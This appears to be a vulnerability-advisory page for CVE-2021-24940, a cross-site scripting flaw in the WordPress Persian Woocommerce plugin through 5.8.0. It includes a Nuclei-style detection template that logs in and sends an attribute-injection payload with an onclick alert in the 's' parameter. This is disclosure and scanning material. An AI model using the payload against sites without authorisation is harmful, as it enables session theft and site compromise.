CVE-2021-24940: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting

日期: 2025-08-01 | 影响软件: WordPress Persian Woocommerce | POC: 已公开

漏洞描述

WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.

PoC代码[已公开]

id: CVE-2021-24940

info:
  name: WordPress Persian Woocommerce <=5.8.0 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    WordPress Persian Woocommerce plugin through 5.8.0 contains a cross-site scripting vulnerability. The plugin does not escape the s parameter before outputting it back in an attribute in the admin dashboard. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site and possibly steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in 5.9.8.
  reference:
    - https://wpscan.com/vulnerability/1980c5ca-447d-4875-b542-9212cc7ff77f
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24940
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24940
    cwe-id: CWE-79
    epss-score: 0.01887
    epss-percentile: 0.82532
    cpe: cpe:2.3:a:woocommerce:persian-woocommerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: woocommerce
    product: persian-woocommerce
    framework: wordpress
  tags: cve2021,cve,wp,xss,authenticated,wpscan,wordpress,wp-plugin,woocommerce

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/admin.php?page=persian-wc&s=xxxxx%22+accesskey%3DX+onclick%3Dalert%281%29+test%3D%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains(header_2, "text/html")
          - status_code_2 == 200
          - contains(body_2, 'accesskey=X onclick=alert(1) test=')
          - contains(body_2, 'woocommerce_persian_translate')
        condition: and
# digest: 490a00463044022015065050b6f7409ed6bc963ecbdcf4f57574c8f5bd051ac0ca8dda8cd4bd54b602200636227ce1abc8b40973c988ae37d55689a937464cb18508e2340442a930ac70:922c64590222798bb761d5b6d8e72950